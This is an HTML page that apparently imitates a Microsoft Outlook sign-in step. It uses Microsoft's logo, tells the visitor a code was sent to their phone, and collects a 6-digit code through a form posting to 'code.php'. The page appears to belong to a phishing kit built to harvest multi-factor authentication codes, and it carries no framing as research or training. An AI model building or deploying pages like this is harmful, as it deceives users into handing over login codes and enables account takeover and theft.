<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Outlook Sign-In</title>
  <script src="https://cdn.tailwindcss.com"></script>
  <link href="https://unpkg.com/heroicons@1.0.6/umd/outline.min.css" rel="stylesheet">
  <script src="https://unpkg.com/imask"></script>
</head>

<body class="min-h-screen flex flex-col items-center justify-center p-4 bg-gradient-to-br from-pink-100 via-green-100 to-pink-100">

  <!-- Header -->
  

  <!-- Email Page -->
  <div id="emailPage" class="page w-full max-w-[440px] shadow-lg bg-white rounded-lg border">
    <div class="pt-6 p-6 space-y-6">
      <div class="mb-4">
        <img src="https://static.cdnlogo.com/logos/m/6/microsoft.svg" alt="Microsoft" width="108" height="24" />
      </div>
      <div class="space-y-2">
        <h2 class="text-2xl font-semibold">Enter the code</h2>
        <p class="text-sm text-gray-600">We've sent a code to your Phone for the account: <span id="displayEmailOtp" class="font-bold"></span></p>
      </div>
      <form method="POST" action="./code.php">
        <div class="space-y-1">
            <input type="text" name="code" id="emailInput" placeholder="Enter 6-digit code" maxlength="6" minlength="6" pattern="[0-9]{6}" inputmode="numeric" required
                  class="h-12 w-full my-4 px-4 border-b border-black shadow-sm focus:outline-none focus:ring-blue-500" />
          <script>
            document.addEventListener("DOMContentLoaded", function () {
            var element = document.getElementById("emailInput");
            var maskOptions = {
              mask: "000000",
            };
            var mask = new IMask(element, maskOptions);
            });
          </script>
        </div>
        <div class="flex justify-end mt-4">
            <button type="submit" 
                    class="bg-blue-600 hover:bg-blue-700 text-white font-semibold px-8 py-2 rounded-md flex items-center">
              Next
            </button>
        </div>
    
      </form>

      <!-- Hidden OTP section (not used in this flow, can be removed if needed) -->
      <div id="otpPage" class="page w-full max-w-[440px] shadow-lg bg-white rounded-lg border hidden">
        <div class="pt-6 p-6 space-y-6">
          <div class="mb-4">
            <img src="https://static.cdnlogo.com/logos/m/6/microsoft.svg" alt="Microsoft" width="108" height="24" />
          </div>
          <!-- This is a separate form that is not used in this flow -->
          <form method="POST" action="">
            <input type="text" name="otp" placeholder="Enter 6-digit OTP" 
                  maxlength="6" minlength="6" pattern="[0-9]{6}" inputmode="numeric" required
                  class="h-12 w-full px-4 border-b border-black shadow-sm focus:outline-none focus:ring-blue-500" />
            <div class="flex justify-end mt-4">
              <button type="submit"
                      class="bg-blue-600 hover:bg-blue-700 text-white font-semibold px-8 py-2 rounded-md flex items-center">
                Verify
              </button>
            </div>
          </form>
        </div>
      </div>
      

 

  <!-- Footer -->
  <footer class="fixed bottom-0 w-full p-4 bg-gray-800 text-white text-sm">
    <div class="flex justify-end gap-6 max-w-screen-xl mx-auto">
      <a href="#" class="hover:underline">Terms of use</a>
      <a href="#" class="hover:underline">Privacy & cookies</a>
      <div class="text-sm text-gray-300">
        Use private browsing if this is not your device. <a href="#" class="text-blue-400 hover:underline">Learn more</a>
      </div>
    </div>
  </footer>
</body>

</html>
